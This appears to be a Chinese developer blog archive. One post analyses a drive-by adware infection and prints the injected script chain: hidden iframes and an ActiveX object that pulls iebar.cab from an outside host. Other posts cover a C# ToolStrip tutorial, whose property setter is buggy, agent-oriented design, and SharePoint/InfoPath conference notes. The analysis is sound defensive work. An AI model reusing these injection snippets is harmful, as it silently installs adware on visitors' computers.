|
|
2007年04月25日
用google搜索关键字:西安二手车,发现这个网站的下面多了一段警告。提示:This site may harm your computer. 本网站可能危害您的电脑。 点击link后google会弹出一个更大的警告让你不去访问这个网站。 看到这个提示,十分佩服google。把搜索和查毒集成在一起了。Google的搜索引擎真是牛。可是为什么google会认为这个网站有问题会harm your computer。进入google对此内容的解释: This warning message appears with search results that we've identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and we're continuously working to identify such dangerous sites and increase protection for our users. 看来是这个站点会在用户浏览时安装恶意的程序。 升级了诺顿,冲入这网站探个究竟。刚一进如后就发现诺顿提示有病毒。
看来这个网站真的是有问题。到底这个网站那里出了问题,是站长故意把病毒放在里面了?还是什么问题。进入病毒的描述信息http://securityresponse.symantec.com/avcenter/cgi-bin/virauto.cgi?vid=4294906467 Updated: February 13, 2007 11:51:32 AM Type: Adware Publisher: HDT, Inc Risk Impact: High File Names: iebar22.0.dll barhelp22.0.dll Systems Affected: Windows 2000, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP Behavior Adware.Iebar is a Browser Helper Object that displays advertisements and downloads files Symptoms Your Symantec product detects this threat as Adware.Iebar. Unexpected advertisements appear in Internet Explorer browser windows. 看来是IE恶意插件。 用http请求跟踪工具,看看浏览器请求了什么。
看到iebar.t2t2.com /iebar.cab application/octet-stream。这一行真相大白了。是这个网站加载了这个恶意文件。当用户浏览时要求用户下载。看来google真厉害,把网站上的这种动作都记录下来并分析了。 要求用户访问下载这个iebar.cab,Render过来对应的html是什么呢。是用iframe src请求下载,使用image src script src是什么样一种方式呢?再次进入跟踪。发现是: iebar.t2t2.com /test1.htm 这一行Render了这样的代码 <script language=javascript> ...... if (GetCookie("today_install")==null) { document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>"); } ...... </script> 其中的 document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>"); 是“元凶”要求用户下载并安装这个恶意插件。 是谁请求的/test1.htm? 查看stat1.vipstat.com /stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 text/html 这一行,它Render了这样的代码: …. if (isinstall==1){ SetCookie(cookieKey,pid +"|" + unionid + "|" + sid,1); document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>") } 是document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>") 是javascript 动态添加的iframe带入的恶意脚本。 是谁请求的/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 查看stat.t2t2.com /log/log1.asp?default&user=zgchecom text/html这一行 它请求Render回来了: function GetCookie(sName) { var aCookie = document.cookie.split("; "); for (var i=0; i < aCookie.length; i++) { var aCrumb = aCookie[i].split("="); if (sName == aCrumb[0]) return unescape(aCrumb[1]); } return null; } cookieName="comt2t2"; isCookie = GetCookie(cookieName) if ( isCookie != 'ok') { document.write('<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>'); } 又是javascript 动态添加的iframe带入的恶意脚本。 是谁请求了/log/log1.asp?default&user=zgchecom 查看stat.t2t2.com /stat.js application/x-javascript这一行Render回来的脚本: var tc_user; document.write('<a href=http://www.textclick.com/viewmain.asp?name='+tc_user+' target=_blank><img src=http://stat.t2t2.com/stat.gif border=0></a>'); if (tc_user==null) tc_user=""; document.write('<iframe width=0 height=0 src="http://stat.t2t2.com/log/log1.asp?default&user='+tc_user+'" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no><\/iframe>'); 还是javascript 动态添加的iframe带入的恶意脚本。 这几次绕来绕去,都没有看到www.zgche.com 我们实际访问的站点。 在http://www.zgche.com/index.asp Render回来的html终于找到加载stat.t2t2.com/stat.js 的代码: <script language="javascript" src="http://count16.51yes.com/click.aspx?id=162936015&logo=8"></script> <script>var a="zgchecom";</script> <script>var tc_user="zgchecom";var tc_class="18";</script> <script src="http://stat.t2t2.com/stat.js"></script> 终于整个加载的线路清楚了。 http://www.zgche.com/index.asp -> http://stat.t2t2.com/stat.js -> http://stat.t2t2.com/log/log1.asp?default&user=zgchecom -> http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 -> http://iebar.t2t2.com/test1.htm -> http://iebar.t2t2.com/iebar.cab 通 过上面的加载。恶意的程序最终Render成<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object> 让浏览器来解释。浏览器看到object activeX要求用户安装。恶意程序通过这个手段安装到用户的机器上了。 好曲折的步骤。恶意程序十分会隐藏自己。 最 终找到恶意程序。但是从上面的分析最初用户访问的www.zgche.com并没有“问题”。不是站长放入了恶意程序。它完全是被“牵连”的。是 stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 加载了恶意成程序。是stat1.vipstat.com出了问题。但是google认为是它出了问题。Google站在访问者的角度来看待问题。在 google的link: http://www.stopbadware.org/home/help 看到 stopbadware建立了一个数据库,存储这些恶意站点的信息,建立了黑名单。支持申诉。猜想google是分析这个页面的请求,当请求http: //iebar.t2t2.com/iebar.cab这种在黑名单的地址就认为这个网站是有恶意的网站。最初在建立这个黑名单时,是用这种最终存放恶意程序的地址为源头,来搜索谁请求了他们。然后记录下这些直接请求的地址。然后再看谁请求了这些地址。再次加入黑明单。这样层层的加入来扩张黑名单的数据 库。 问题的根本原因是一段script的多重加载,加载了恶意程序。
2007年04月23日
最近由于工作需要,研究了一下如何将第三方控件嵌入到ToolStrip控件中,并能提供Design-Time下的支持.
下面将详细讲解如何把系统的MonthCalendar控件嵌入到ToolStrip控件中.
以下的两幅图片显示了最终的样子.

Run-Time下的样子 1
Design-Time下的样子 1
如何将第三方控件嵌入到ToolStrip
微软实现了一个ToolStripControlHost类, 它是ToolStripComboBox, ToolStripTextBox, 和 ToolStripProgressBar等的基类. ToolStripControlHost提供了将第三方控件嵌入ToolStrip的能力. 我们可以用两种方式使用它:
一, 我们可以直接将继承自Control类的第三方控件作为ToolStripControlHost的构造函数的参数构造一个ToolStripControlHost实例, 将这个实例直接作为ToolStrip的Item加到ToolStrip的Items集合中使用即可.
|
private void Form2_Load(object sender, EventArgs e)
{
MonthCalendar monthCalendar = new MonthCalendar();
monthCalendar.FirstDayOfWeek = Day.Monday;
this.toolStrip1.Items.Add(new ToolStripControlHost(monthCalendar));
} |
二, 从ToolStripControlHost派生, 在继承类默认参构造函数中将第三方控件作为参数调用基类的有参构造函数. 这种方式可以很容易的在继承类中暴露属性,方法和事件,便于访问.
实现步骤如下:
1, 扩展 ToolStripControlHost。实现一个调用传入所需控件的基类构造函数的默认构造函数。
|
public ToolStripMonthCalendar() : base(new MonthCalendar())
{
} |
2, 声明一个与包装控件相同类型的属性,并在属性访问器中返回 Control 作为正确类型的控件。
|
public MonthCalendar MonthCalendarControl
{
get
{
return base.Control as MonthCalendar;
}
} |
3, 使用扩展类中的属性和方法公开包装控件的其他常用属性和方法。
|
// Expose the MonthCalendar.FirstDayOfWeek as a property.
public Day FirstDayOfWeek
{
get
{
return this.MonthCalendarControl.FirstDayOfWeek;
}
set
{
value = this.MonthCalendarControl.FirstDayOfWeek;
}
}
// Expose the AddBoldedDate method.
public void AddBoldedDate(DateTime dateToBold)
{
this.MonthCalendarControl.AddBoldedDate(dateToBold);
} |
4, 也可以选择重写 OnSubscribeControlEvents 和 OnUnsubscribeControlEvents 方法,并添加要公开的控件事件。
|
// Subscribe and unsubscribe the control events you wish to expose.
protected override void OnSubscribeControlEvents(Control c)
{
// Call the base so the base events are connected.
base.OnSubscribeControlEvents(c);
// Cast the control to a MonthCalendar control.
MonthCalendar monthCalendarControl = (MonthCalendar)c;
// Add the event.
monthCalendarControl.DateChanged += new DateRangeEventHandler(OnDateChanged);
}
protected override void OnUnsubscribeControlEvents(Control c)
{
// Call the base method so the basic events are unsubscribed.
base.OnUnsubscribeControlEvents(c);
// Cast the control to a MonthCalendar control.
MonthCalendar monthCalendarControl = (MonthCalendar)c;
// Remove the event.
monthCalendarControl.DateChanged -= new DateRangeEventHandler(OnDateChanged);
} |
5, 为要公开的事件提供必要的包装。
|
// Declare the DateChanged event.
public event DateRangeEventHandler DateChanged;
// Raise the DateChanged event.
private void OnDateChanged(object sender, DateRangeEventArgs e)
{
if (DateChanged != null)
{
DateChanged(this, e);
}
} |
完整的示例请参见MSDN(http://msdn2.microsoft.com/en-us/library/9k5etstz.aspx ).
如何提供设计时的支持
1, 为从ToolStripControlHost继承的类添加ToolStripItemDesignerAvailabilityAttribute标签. 它可以使ToolStrip在Design-Time下能够找到从ToolStripControlHost继承的第三方控件, 直接效果就是第三方控件在下拉菜单中可以直接列举出来. 另外,除了可以将第三方控件嵌入ToolStrip外, 我们还可以直接将第三方控件嵌入到ContextMenuStrip, MenuStrip和StatusStrip中.
ToolStripItemDesignerAvailability枚举成员如下:
|
|
成员名称 |
说明 |
|
|
All |
指定所有控件均可见。 |
|
|
ContextMenuStrip |
指定 ContextMenuStrip 是可见的。 |
|
|
MenuStrip |
指定 MenuStrip 是可见的。 |
|
|
None |
指定无任何控件可见。 |
|
|
StatusStrip |
指定 StatusStrip 是可见的。 |
|
|
ToolStrip |
指定 ToolStrip 是可见的。 |
2, 为继承的控件添加ToolboxBitmapAttribute标签改变默认Icon.
|
[ToolboxBitmap(typeof(MonthCalendar))]
[DefaultProperty("Value")]
[ToolStripItemDesignerAvailability(
ToolStripItemDesignerAvailability.ContextMenuStrip |
ToolStripItemDesignerAvailability.MenuStrip |
ToolStripItemDesignerAvailability.StatusStrip |
ToolStripItemDesignerAvailability.ToolStrip)]
public class ToolStripMonthCalendar : ToolStripControlHost
{ |
Demo is Here
-完-
2006年04月06日
前段时间一直周旋于各种有趣且辛苦, 或者无趣且更辛苦的事情当中, 虽然其间也切换到其他好些不同的技术领域, 但一直没有放弃在AOP方面的关注思考. 前面之所以没有能接着AOP这个话题继续和大家聊下去, 是因为感觉自己没有足够的精力和空闲来将这些想法沉淀下来, 并回锅为简单直白, 易于消化和理解, 并能引发思考的东西. 这几天, 出差在外, 工作之余免去了灶台内外的忙活. 油烟味少了, 人也觉得清爽许多; 闲暇多了, 就免不了想爬爬格子. OK, 闲话到此为止, 就让我们继续AOP的白话之旅吧J
简单回顾一下前一段旅程(一,二,三), 在前面我们简要介绍了什么是Agent, 这个东东的来由, 以及与其他重要概念, 如Object的区别. 如果说前段理论之旅展现的奇异风光令我们心神荡漾, 那么接下来的实践之旅就会又把我们拽回到繁杂而精密的软件世界中.
在前面也有介绍过, 目前好像还没有一个专门针对AOP的IDE, 这对于急于操练一把AOP的同志来说是个不大不小的尴尬. 不过好在Agent也是由Object脱胎而来, 基于目前的OOP语言, 我们也可以来过一把AOP的瘾. 这里我们选择的是.Net 平台下的C#. 为什么要选择C#,,,, 因为如果使用Java, 文章也就不会发在这里, just jokingJ 理论上说, 任何OOP语言, Java, Delphi, C++, 都可以作为哈里.波特同学手中的魔法棒, 点化出妙不可言的Agent. 之所以选择C#, 是看中他的优雅和简洁(补充一句, 直到现在俺依然固执地认为Delphi是最优雅的语言, 虽然Borland迫于生计不得不出售整个IDE部门, 但俺依然决意守望Delphi, 直到Delphi的桅杆没入海平面的最后一刻…)
翻翻讲述Agent理论的书籍就可以查到, 一个为理论界所接受的Agent需要具有如下若干特征:
l 代理性(Action On Behalf Others)
l 自制性(Autonomy)
l 主动性(Proactivity)
l 反应性(Reactivity)
l 社会性(Social Ability)
l 智能性(Intelligence)
l 合作性(Callaboration)
l 移动性(Mobility)
My god! 光把这些名词理解一遍就让人头大了. 不多解释了. 简单点, Simple is good. 我们现在不需要迎合理论家挑剔的口味, 只需要创造一个具有不完全特性的Agent. 女娲同学造人的时候还不是就地取材, 捧着坨泥巴就捏上了J 另一方面, 作为整个AgentWorld的缔造者, 我们必需意识到这样一点: 上述这些特性, 是分层次的, 比如反应性, 和自制性, 这应该是位于Agent心智(Mind)最底层的特性; 而社会性, 智能性, 合作性等, 则应该属于Agent的高级心智, 需要其他心智能力的支持. 在由混沌到开天地的最初步骤中, 我们只需要实现最低层次的Agent心智即可.
综合以上考虑, 在我们捏出的第一个Agent身上, 可以看到如下几种心智:
l 同步异步的统一和同类群组
l 对外界变化的感知
l 时间驱动
l 移动性
下面我们来逐一审视这些貌似简单, 却可能蕴含无限组合及演化能量的心智要素.
同步异步的统一和同类群组
前面聊到说, 我们有认识到Object世界存在着”同步和异步被人为地剥离”的尴尬, “同步异步的统一和同类群组”则是Agent世界对这一尴尬的解答. 在我们的Agent世界中, Agent A1呼唤Agent A2协助其做某件工作M1, 并不需要了解到A2做这件事情是同步在做还是异步在做, 这是同步异步的统一; 更进一步, 如果这件事情, 和A2具有同样能力的好几个Agent都可以来做, 那么A1更不需要知道到底是哪一个具体的”A2”在做这件工作. 有点抽象噢? Ok, 这好比现实生活中的一个例子: 领导曰”上午10点让司机过来接我去开会”. 领导作为一个Agent, 他不需要了解司机这种Agent 10点开车到楼下是同步行为还是异步行为(当然司机自己要清楚), 也不需要了解开车过来的是单位上的哪个司机, 小王or小张? 这是领导需要关心的事情吗? 他只需要知道10点下楼, 就有个司机在那候着. 用程序语言来描述:
Boss的执行代码就是:
driver.ComeHere(10:00)
Driver的代码:
class Driver : Agent_XXX
{
[AgentMethod(AgentMethodCallMode.Asyn, AgentMethodRouteMode.Group)]
public virtual void ComeHere(DateTime time){…}
…
}
Ok, 让我们把所有注意力都集中到蓝色的Attribute上, 这是Driver这个Agent类在”同步异步的统一和同类群组”这种心智上的体现. 为什么我们刚才说要选择C#这种优雅的语言, 就是因为我们可以使用Attribute这个特性来将Agent的心智附着在普通的Object Class上. 当然, 我们也可以额外地用一个描述心智要素的XML文件来和Class绑定, 但个人感觉而言, Attribute来的更加优雅直接一些.
AgentMethod, 这个属性表明, ComeHere这个Method, 是Driver这个Agent的一种能力, 注意是能力不是心智. 这种能力带了特定的心智信息:
l AgentMethodCallMode.Asyn 这个Attribute表明这种能力是异步调用的, 而非同步. 看到这里有些同志不免生疑, 不是说同步和异步不再区分的嘛, 怎么还有Asyn, Syn这样的标记呢? 不爽! 解释一把, 我们所说的同步和异步不再区分, 是从调用者的角度考察, 比如领导之于司机, 老师之于学生. 而对于方法的被调用者, 也就是实际执行者来说, 他当然是需要”内心”里知晓这个方法到底是如何完成的. 实际上在领导调用driver.ComeHere(10:00)之后, 领导所拥有的心智, 即线程马上可以接下去做其他事情, 而ComeHere(10:00)这个方法, 则被转移到某个Driver实例的心智, 即线程上去执行.
这里的一个小小差异, 实际上凸现出Agent和Object的一个很大区别: 在Agent世界中, 每个Agent只需要关注自己逻辑是如何执行的, 而对其他Agent的逻辑执行细节的关注, 被降低到的最低.
如果有同志觉得上面这段话过于抽象, ok, 让我们更技术化的语言重复一次: 每个Agent都带有一个独立的线程(我们可以把它理解为Agent的灵魂J), 每个Agent自身的能力(在OOP语言环境下被映射为Method)都在这个线程上来被解释和执行. 如果一个行为序列包含有若干不同Agent的能力的执行, 那么完成这个行为序列就会使用到好几个不同的线程, 并且线程之间的切换是完全透明和自动的.
深入到技术细节之后, 让我们赶紧上浮到更宏观的一个层面上来, 否则很快就会在对技术细节的探究中失去对Agent设计理念的把握能力. 现在我们已经知道: 一个Agent, 它所拥有的能力(也就是各种Method)只能由它拥有的灵魂(也就是其独占的线程)来执行. 那么显然的一个问题是: 这带来了什么样的益处?
l AgentMethodRouteMode.Group. 这个Attribute表明Boss要一辆车, 这个请求, 是一个群组请求, 而不是针对某个Driver类的某个具体实例. 这个请求会被放到一个基于群组(也就是具有共同能力的一类Agent)的请求池中, 假设此时单位有三位司机空闲, 那么其中的一位就会接受到这个请求, 随后执行之. 这应该是对Agent理论中黑板模型的一个最最简单的实现: 有什么请求, 写到一个黑板上, 有能力响应这个请求的, 就来处理, 并把这个请求从黑板上擦掉.
大家可以想像一下这种心智的用场何在. 先往现实世界中靠, 找找现实世界中是否存在这种例子? 大量存在, 银行柜台业务, 超时购物结算. 再回到软件世界中, 我们很容易联想起一个词: 负载平衡J 如果具有某种能力(能够执行某种关键业务操作)的Agent通过Mobility心智(稍后会介绍方面内容)分布在整个系统的若干台不同机器上, 同时共享同一个群组请求池, 外部进来的业务操作请求进入请求池后, 就会为不同机器上的Agent所处理. 负载平衡乎J 当然, 谁说现在银行系统不是负载平衡的? 我们这里强调的是: 在Agent世界中实现负载平衡的简洁性. 仅仅需要一个Attribute, 并且, 由于底层的群组请求池是系统自动构造的, 因此如果需要进一步平衡负载, 只需要多new几个 driver, 并把他们移动到不同的机器上, 就好比银行里看到排队的人多了, 临时增加几个业务窗口的道理一样. 很重要的一点, Agent世界里能实现的, Obejct世界或者汇编世界里同样都可以实现, 我们看重的是实现的简洁性(偷懒性?)及于现实世界贴近的程度.
AgentMethod还有好几种组合, 这里就不一一介绍了, 陷入编码细节的讨论必然会妨碍我们对概念整体上的把握. 但这里不得不说明的是, 假设Boss需要driver在达到之后通知他一下, 应该怎么实现呢? 由于OOP的限制, 我们不得不使用一种相当不优雅的方式: 回调函数, 来解决这个问题. 于是乎, 在Boss这个Agent类中会出现如下代码:
[CallBackMethodAttribute(typeof(driver), "ComeHere")]
public virtual void CallBack_Driver_ComeHere(Message_ResultOfASYNCallMethod message){…}
这里的CallBackMethodAttribute表明, 当某个Driver达到楼下后, 会自动(对于Driver和Boss来说都是透明的)调用这个方法. 注意, 这个方法的执行, 是在Boss的心智中, 而不是由Driver来完成的, 也就是说, 系统会自动在Driver的线程中执行ComeHere操作, 随后又自动切换到Boss的线程, 来执行CallBack_Driver_ComeHere. 想像一下, 为什么会这样 and 为什么要这样? J
要不今天咱们就整到这里, 如果大家有兴趣的话, 下面的章节中, 我们会接着聊聊感知力, 时间驱动, 移动性等更好玩的话题. 整点小思考题, 注意到Agent类的每个方法上都带有virtual指示符, why? 借用Matrix中的一句话:”There is something different.”, 其实, 刚才咱们所聊的所有内容, 包括今后旅途中所看到的Agent World中大多数风景, 都位于水平面之上, 而顺着这个隐秘的线索深入下去, 您就能触摸到Agent World位于水平面之下庞大而精密的支撑架构. 水面之下, 没有任何风景, 只有高速运转的调度线程, 吞吐繁忙的缓冲池, 张合有序的读写锁, 以及无处不在的BugJ
2006年03月27日
有同学指出前面几篇闲话太多, 看着牙酸, ok, 今天咱们直接切入正题.
l BDC(Business Data Catalog)
n 先说说这个东西的来由. 现在我们都已经习惯了使用WSS/SPS作为信息/文档存储, 共享和管理门户的这种模式. Everything is ok now. 但是随即某些更懒惰(or smart)的同学又提出了新的要求 : 能不能把后台/外部的其他数据信息也集成进来. 这个需求是很合理的, 不过要求也是很高, 数据源不光指关系型数据库, 还包括各种能够想像的到的能够存储数据的地方, 例如文本文件, Excel文档, 各种CRM, ERP, 实时数据采集系统等等. 我们可以想像一下, 各种后台数据源好比是一群操不同语言的人站在你面前叽叽喳喳, 你说, 够了, 要么给我闭嘴, 要么给我找个翻译来. 这个翻译就是新版SharePoint中的BDC. 它要做的事情就是把来自不同源头的, 不同格式, 不同内容的数据以统一的面貌展现在我们面前.BDC的其核心就在于一份从A数据到B数据的映射Schema, 这个Schema当然没有自然语言转换那么复杂和变化多端, 只需要定义好这个Schema, BDC的后台引擎根据这个Schema到数据源, 甭管是关系的还是纯api调用的, 提取数据, 展示出来就可以了.
n 说清楚了BDC的来由, 再来具体说说BDC是个什么东东. 按照微软资料上的说法, BDC是Office SharePoint Server 2007上的一项新特性. 在WSS 3.0上就看不到了? 作为一项核心服务, BDC可以让OSS 2007与后台的商业应用程序进行交互, 并将其数据展现在门户中.
n Business Data Catalog metadata model. 上面也有提到, BDC中一个关键的东东是用于描述数据映射的Schema, 官方称之为Business Data Catalog metadata model. 可以想像一下这个metadata model会有多么的复杂. 各种数据源的抽象和统一, 还要考虑到开放性和兼容性, 呵呵, 有点类似于物理学上几种力的统一. 物理学上的伟人爱因斯坦没有能把力统一起来, 遗憾的进了天堂, 软件世界中的微软倒是把数据源给统一了起来, 因此可以继续快活地留在这个世界上. 在hands on lab中大致看了一下这个metadata model的实例, 复杂的可以, 简单抽取一个关系数据库中的表格都得写上一大堆xml, 幸好lab中是使用的code snippet来写, 否则写这样一个meatadata还不得写到抽筋. 这也让老马看到一个问题, 为什么微软不提供一个可视化的metadata编辑器呢 ? model都能整出来, 编辑器就不在话下了. 微软的解释是没有时间整这个, 今后也不会整. 呵呵, may be it is a chance for us...
n BDC中除了metadata model之外, 还提供了如下几种用于数据呈现的Web Parts :
u BusinessDataList Web Part. 望文生意, 这个web part可以用来将数据以列表的形似显示出来, 有点类似于gridview.
u BusinessDataItems Web Part. 数据项显示控件. 这个控件可以用来显示List中某个项目具体的信息. 例如上面的DataList列出了所有的Customer. 点击其中一个, 在DataItem web part中就可以显示出这个customer的全部信息.
u BusinessDataRelatedList Web Part. 这个中文可以理解为显示相关数据的web part. 有点类似于明细表中的细表, 在datalist上选择一个明item, 这边datarelatedlist就显示出相应的细目.
u BusinessDataActions Web Part. 数据操作 web part. 上面几个web part把数据展现出来了, 总还希望再对数据做点啥, 比如修改一下回写什么的. 这个web part就派上了用场.
n 创建一个BDC的application非常简单, 当然这里指的是简单的应用. 找一个xml 编辑器, 手工定义好这个BDC application metadata, 包括数据连接, 数据实体, 数据操作等信息(具体没有记全, 复杂的应用中可能还包括其他元素). 然后在沿着sharepoint 3.0 central administration -> application management -> office server core services -> create or configure this farm’s core service 的路径进来, 选择一个service, 在其business data catalog中增加一个application, 将刚才编辑好的metadata 作为这个application的元数据. 提交, 一顿乱转之后, 后台数据库中的数据就可以在sps中使用了. 然后整个页面, 添加一些上面提到的web part, 简单配置一下, 数据就可以render出来了.
n 写到这里, 基本上关于BDC的内容已经介绍完了, 囫囵吞枣, 也就只记了这么多. 觉得不过瘾, 可以继续看下面的链接 : http://weblogs.asp.net/erobillard/archive/2005/09/15/425364.aspx http://chilco.textdrive.com/~dmahugh/2006/01/27/business-data-catalog-overview/ http://blogs.msdn.com/mikefitz/default.aspx
l 今天还听了两个关于Excel的Session. 也比较有意思. 但讲师都忙着做Demo去了, slides只有两三页, 自己都不知道该记什么, 呵呵, 只记得脑子里全是绚绚的demo.
n Excel12中支持更强大的数据分析功能, 怎么个强大法呢, 只有看了demo才能知道. 总的来说一句话, 原来很多操作只能在pivot table里面做, 现在都可以在表格里面做了.
n Excel12的文档不光可以在Excel中打开, 还可以通过excel service render在web page上. 并且render出来的web page上不包含任何的activex 控件, 例如owc. 全是dhtml. 硬工夫啊. 不知道兼容性如何.
n Excel 12不光可以连接到数据库, olap数据, 还可以连接到SPS的文档库和BDC数据源. 基于XML, 天下一统了
到这里, ODC’06的故事基本就讲完了. 感觉好像少了点什么? 呵呵, 是的. 还有一个大块头的故事没有讲, OpenXML. ODC’06中也设置了专门的一个track来讲OenXML, 只是和其他track有冲突, 没有能够去听. OpenXml在整个Office12中无处不在. OpenXMl就像一种黏合剂, 把Office12中的各种组件无封地黏合成一个整体, 信息, 数据在Office12中可以自由的流动和交换. 推荐一个专门研究openxml的好站点 : http://openxmldeveloper.org/default.aspx.
睡觉之前最后补充一句, VSTO 3.0 ctp版本已经开放下载, 绝对这个cool毕了的东东, 相信会改变很多office developer的开发模式. 包括我在内, 以后再也不会在infopath中设计表单了J http://www.microsoft.com/downloads/details.aspx?FamilyID=2e85132b-7370-4137-a19a-15752ea83952&DisplayLang=en.
如果有同学一直硬着头皮咬牙坚持把这篇纯技术的文章看到最后的话, 那一定是对昨天承诺的饭局充满期待. 非常抱歉, 本人毫无悬念地错过了Xbox, IPAQ等等一二三等奖的礼品, 更让人感到绝望的是, 阳光普照的纪念品一件T-shirt貌似size也不对. Anyway, 全当是个纪念吧, 如果下次各位同学有参加ODC’07, 在会场碰到一个穿着small size ODC’06纪念衫, 露出肚脐的高手, 那就是我.
早上起来, 天上有点冒小雨. 赶紧把能整上身的衣服全整上. 老马洗澡出来, 依旧是一件T-shirt就把自己打发了. 我很迷惑他这到底应该是算一种行为艺术还是纯粹的个人风尚. 等到了会场, 我才明白过来, 这是一种身份的标识. 越是技术上的顶尖高手, 其衣着越是简朴/简单/简约/简陋. 有穿短裤的哥们, 说不定就是某个技术流派的始创者. 我就寻思着, 下次要不要把我爸那件老头衫带过来, 套在身上, 一定很高手的样子.
Anyway, 切换到正题上来. 今天听的Session包含三方面的内容 :
l SharePoint Technology, 1 Session
l InfoPath Solution, 3 Session
l VSTA 3.0. 1Session
l SharePoint Technology (Content Type). Content Type是WSS 3.0中一个很重要的概念, 在前面几个相关的Session中被多次提及和强调. Content types will allow you to define a type of information and associated with it the available metadata, its policy and workflow options. 具体来说一种Content Type中可以定义如下几种信息:
n Name and Description
n Document Template
n Columns
n Workflow
n Policy
n Forms for editing, viewing and displaying. 这里的Form for… 不知道是不是指的可嵌入Office12文档中的InfoPath表单 ?
n Events
l Content Type可以基于Site来创建, 并为其下的所有子Site引用. 如果在Site上对Content Type进行了修改, 那么所有子站点中也会同步更新掉.
l 一个List上允许绑定多种的ContentType. 这点在前面的Session也有提到过
l 随后, 讲师演示了一个创建Content Type的Demo, 效果蛮不错, 尤其是将InfoPath模版嵌入到Word文档中, 点击InfoPath上的按钮还可以同步更新InfoPath表单和Word中内容. 可以预见这种Word+内嵌InfoPath表单+特定工作流/审批流的组合很快会成为WSS 3.0上标准的应用模式.
接下来3个Session全都是于InfoPath相关, 一口气听下来, 很是过瘾. 由于内容互有关联和重叠, 所以这里就一起整了 :
l 首先是一段概念性的讲解 : 为什么要有InfoPath form Solution, 大概分为三个方面 :
n Reach more users with better forms
n Automate data-driven business processes
n Rapidly develop and deploy form solution
l InfoPath Form Importer. 概念介绍完毕后, 接下来出场一个重量级的feature, Form Importer. 只见讲师打开一份标准的Word 12文档模版: 费用报销单, 上面有人员, 日期, 费用明细, 总计等信息. 然后在InfoPath12中, 选择一个菜单Import, 将该文档模版作为输入, 一路next, 很快就生成了一份费用报销单的InfoPath 模版. 人员,日期, 费用明细等相关数据字段全部提取出来, 并且就连格式也和Word12中的一模一样. That’s cool! 可以想像, 目前企业中存在着的大量word和excel表格, 可以使用Importer很快的转为InfoPath表格, 省去了很多手工转换的成本, 这该有多方便. 并且这个Importer还有很多选项可以控制转换的具体参数.
l 这份InfoPath形式的费用报销单转换好后, 马上又被提交到WSS 3.0的服务器, 点击表单, 马上又可以在Web Browser中展示出来, 并进行填写. 这里体现了微软在电子表单上的一个思路, Word/Excel -> InfoPath Form <-> web page. 但是这里奇怪的是没有看到InfoPath Form到 word/Excel的转换. 也许是因为infopath可以直接转换为html, 然后html又可以在word里面打开的缘故. Anyway, 这种基于XML数据的来回转换的场景实在是非常有用.
l InfoPath Template Part. 这个feature的设计出发点可能是为了表单设计人员的体力. 想像一下, 如果需要设计100个form, 而每个form上都需要有一段保密说明, 这样重复写100遍是不是让人要人接近崩溃. 写好了如果某天需要对这段重复的地方进行调整, 那就真的崩溃了. 所以这些表单上的公共部分, 被抽取出来, 单独存放为Template Part. 如果要修改, 则只需要修改一处Template Part, 100张表单模版上的引用部分也就自动更新了. 并且在Template Part提供了对各种InfoPath元素的支持, 当然, 除了code之外. 为什么? Just guessJ
n 可以直接将InfoPath Form发布为一个MSI文件, 这个特性也不是一般的cool, 不光打包了表单模版的全部信息, 还把部署表单时碰到的所有麻烦都一股脑全打包进去了, 客户端这边只需双击就能搞定.
n 可以将InfoPathform发布为一个电子邮件, 直接在Outlook中打开. 不知道为什么, 这个特性一直还处于传说状态, 在这几天的dmeo中也没有见到有演示过, 不过网上倒是有截图就是.
l Unified Object Model. InfoPath12全部由托管代码写成, 所以我们不再需要PIA操作, 只需要CLR 2.0, 底层使用System.XML, 也不再需要MSXML. 在开发体验方面, 也得到了不少增强. 原来InfoPath表单的事件模型很是烦琐, 一个改动会在代码里引起几处事件触发. 例如修改一个Node的值, 会被InfoPath解释为先删除这个Node,再插入一个新Node. 在InfoPath12里面, 则只会触发一次事件.
l Visual Studio Integration. 酷必的一个feature. InfoPath12支持在VS.net 2005中直接编写, 调试和发布InfoPath表单. 当然需要首先安装VSTO 3.0.
n 自动生成后台的Source Code. 一直不太能搞清楚VSTA和VSTO之间的区别, 在VS.Net中创建一个InfoPath Form Template功能, 设置好数据源什么的, 随后在菜单中有一项VSTA什么的, 具体没有太看清楚, 跳出一个对话框, 一通乱转后, 在VS.net中出现了和这个表单绑定的C#源代码, 各种event句柄一应俱全, 周到的不行.
n 可以直接在VS.Net中进行debuging. 这项功能在原先的Infopath tool for vs.net中也有, 但是每次debuging之间都需要先关闭infopath设计窗口, 多来几次就会碰到一些异常, 现在的debuging非常方便, 就和debuging一般的winform程序差不多, 而且速度非常快, 也许是因为demo的机器过于强劲的缘故.
l 网页发布. 在前面几个session中也有介绍这个feature, 这里就不多整了. 一个基本的思路 : 如果想要收集基于XML格式的数据, 那就是InfoPath, 它提供了多种数据展现的形式和渠道, 总有一款适合你.
